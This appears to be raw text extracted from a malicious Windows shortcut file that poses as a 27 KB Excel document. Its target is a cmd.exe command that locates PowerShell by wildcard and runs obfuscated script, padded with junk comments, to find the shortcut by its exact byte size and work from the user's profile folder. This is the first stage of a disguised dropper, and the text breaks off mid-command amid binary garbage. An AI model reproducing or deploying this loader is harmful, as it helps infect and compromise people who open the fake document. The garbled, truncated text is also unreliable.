%windir%\system32\cmd.exe
XurU]b
sW.,'c
S_Be"I
eWbXz<
)UB&^M
/n4j Ky
"t!Y!'i
%=& SA:
_Z6Z?_Ulv
U?eQ=3=N
{[w8|Q
-{/o)-
XQ>iqQ
LType: Microsoft Excel Document
Size: 27 KB
Date modified: 01/05/2024 10:23
/c for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$trans=0;<#App-Poisoning#>$boost='length';<#App-Poisoning#>$export=Get-Location;$herself=&(gcm *et-Child*) *.lnk;<#App-Poisoning#>$herself=$herself|where-object{$_.$boost -eq 0x00007D45};<#App-Poisoning#>$theater=$herself;<#App-Poisoning#>$herself=$herself|Select-Object -ExpandProperty Name;<#App-Poisoning#>if([string]::IsNullOrEmpty($herself)){$trans=1;<#App-Poisoning#>$export=$env:USERPROFILE;<#
%windir%\system32\cmd.exe